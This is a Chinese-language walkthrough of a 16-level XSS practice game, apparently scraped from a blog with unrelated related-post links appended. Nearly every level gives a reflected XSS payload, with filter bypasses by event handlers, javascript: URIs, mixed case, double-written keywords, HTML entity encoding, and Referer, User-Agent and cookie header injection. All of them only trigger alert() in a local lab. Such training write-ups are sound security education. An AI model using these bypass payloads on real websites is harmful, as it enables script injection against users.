第一关

直接在URL输入

?name=<script>alert('xss')</script>

第二关

找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

闭合前面的input标签,在插入代码

payload

"><script>alert('xss')</script>

第三关

依旧输入test找注入点

输入"><script>alert('xss')</script>

htmlspecialchars()转义成HTML实体

但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

我们可以从单引号测试 payload

'onclick='window.alert()

第四关

尝试输入<script>alert('xss')</script>

明显的过滤掉了 < >

这里构造payload绕过 < >

"onclick="window.alert('xss')

 第五关

尝试输入<script>alert('xss')</script>

将前面的script变成scr_ipt

用其他语句绕过

输入"onlick="window.alert()

依旧替换 on变成o_n

我们采用JavaScript伪协议

"><a href="javascript:alert('xss')">1</a>

点击 1 成功绕过

第六关

直接测试了一下,过滤了很多,查看源码

我们可以采用大小写混合拼写绕过

"><img Src=x Onerror=alert(1)>

第七关

测试了一下,script跟on等直接没了

推测被替换成空,查看源码

果不其然,替换为空,一般采用双写绕过

"><scrscriptipt>alert('xss')</scrscriptipt>

 第八关

输入tes

查看源码,过滤了很多,双引号也被过滤掉了

这里我们只要输入JavaScript:alert(‘xss’)即可

但是script被替换成scr_ipt

我们可以采用编码的形式绕过

payload

javascript:alert() #HTML实体编码(HEX)
javascript:alert() #HTML实体编码(DEC)

这是实体编码 entity code

「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

第九关

输入test测试一下,test出现在value值里面

查看源码,比之前多了一串,需要添加http://,否则无效

那么就添加http://

/*这是是注释*/

构造payload

javascri&#x70;t:alert()/*http://www.test.com*/

 第十关

分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

构造payload

?t_sort="onclick="alert()"type="text"

?t_sort=" onclick="alert()" type="text"

第十一关

可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

payload

t_sort="type="text" onclick="alert(1)

 第十二关

这里是HTTP头中的Uuser-agent进行注入

构造payload

"type="text" onclick="alert(1)

在User-Agent后面跟随payload即可

第十三关

cookie注入

user=" type="text" onclick="alert(1)"

第十四关

PASS

第十五关

ng-include 指令用于包含外部的 HTML 文件

ng-include 属性的值可以是一个表达式,返回一个文件名。

payload

http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

第十六关

转义成HTML实体,黑名单容易忽略过滤的字符

payload

?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过



 

XSS小游戏的更多相关文章

  1. xss小游戏通关

    xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...

  2. XSS----payload,绕过,xss小游戏记录

    一.XSS 1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览 这些网页(或触发其他条件),从而执行其中的恶意代码. 1.xss实例代码: test.html <!DOCTYPE h ...

  3. XSS小游戏通关Writeup

    源码下载:https://files.cnblogs.com/files/nul1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 我也没啥可 ...

  4. xss小游戏源码分析

    配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...

  5. xss games20关小游戏附源代码

    1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...

  6. Monyer.cn黑客小游戏

    花了一天的时间,Monyer给大家带来了一个有趣的东东——拥有15个关卡的黑客小游戏. 入口http://monyer.com/game/game1 因为一直以来都是大家跟我一起学习网络技术嘛,所以这 ...

  7. jQuery实践-网页版2048小游戏

    ▓▓▓▓▓▓ 大致介绍 看了一个实现网页版2048小游戏的视频,觉得能做出自己以前喜欢玩的小游戏很有意思便自己动手试了试,真正的验证了这句话-不要以为你以为的就是你以为的,看视频时觉得看懂了,会写了, ...

  8. 拼图小游戏之计算后样式与CSS动画的冲突

    先说结论: 前几天写了几个非常简单的移动端小游戏,其中一个拼图游戏让我郁闷了一段时间.因为要获取每张图片的位置,用`<style>`标签写的样式,直接获取计算后样式再用来交换位置,结果就悲 ...

  9. 推荐10款超级有趣的HTML5小游戏

    HTML5的发展速度比任何人的都想像都要更快.更加强大有效的和专业的解决方案已经被开发......甚至在游戏世界中!这里跟大家分享有10款超级趣味的HTML5游戏,希望大家能够喜欢! Kern Typ ...

随机推荐

  1. Mybatis的Java API(八)

    使用mybatis的主要Java接口就是SqlSession.可以通过这个接口来执行命令,获取映射器和事务管理. SqlSession是由SqlSessionFactory实例创建,SqlSessio ...

  2. 【Spring JDBC】数据源配置(二)

    一.Spring内置数据源 1. 创建Maven Project,修改pom.xml <properties> <!-- JDK版本 --> <java.version& ...

  3. angular 多路由模块新建组件的方法

    More than one module matches. Use skip-import option to skip importing the component into the closes ...

  4. 2019 SDN阅读作业

    2019 SDN阅读作业 1.为什么需要SDN?SDN特点? 答:因为随着网络规模的不断扩大,封闭的网络设备内置了过多的复杂协议,增加了运营商定制优化网络的难度,科研人员无法在真实环境中规模部署新协议 ...

  5. 编译安装nmap

    官方编译文档 参考 安装对应的库,并编译安装.

  6. JAVA基础系列:Arrays.sort()

    JDK 1.8  java.util.Arrays.class(rt.jar) 1. Collections.sort方法底层就是调用的Arrays.sort方法. 2. Java Arrays中提供 ...

  7. Orm框架(AntOrm,Ktorm)在mac机器上如何使用代码生成

    Orm框架介绍 AntOrm 是我维护的一个开源csharp -netcore 项目 Ktorm 是一个大神开源的kotlin项目 由于我工作上都用到了,为了提高工作效率 我写了一个mac端工具帮助快 ...

  8. Windows环境Tomcat开启APR并配置http/2.0访问

    1.http/2.0需要开启https 参考:https://www.cnblogs.com/zhi-leaf/p/11978615.html 2.下载tcnative-1.dll文件 官网下载地址: ...

  9. npm和yarn的区别,我们该如何选择?

    首先,这两个都属于js包管理工具,都可以安装包或者模块yarn 是由facebook.google等联合开发推出的区别: npm 下载包的话 比如npm install它是按照包的排序,也就是队列挨个 ...

  10. SpringBoot-@ControllerAdvice 拦截异常并统一处理

    SpringBoot是为了简化Spring应用的创建.运行.调试.部署等一系列问题而诞生的产物, 自动装配的特性让我们可以更好的关注业务本身而不是外部的XML配置,我们只需遵循规范,引入相关的依赖就可 ...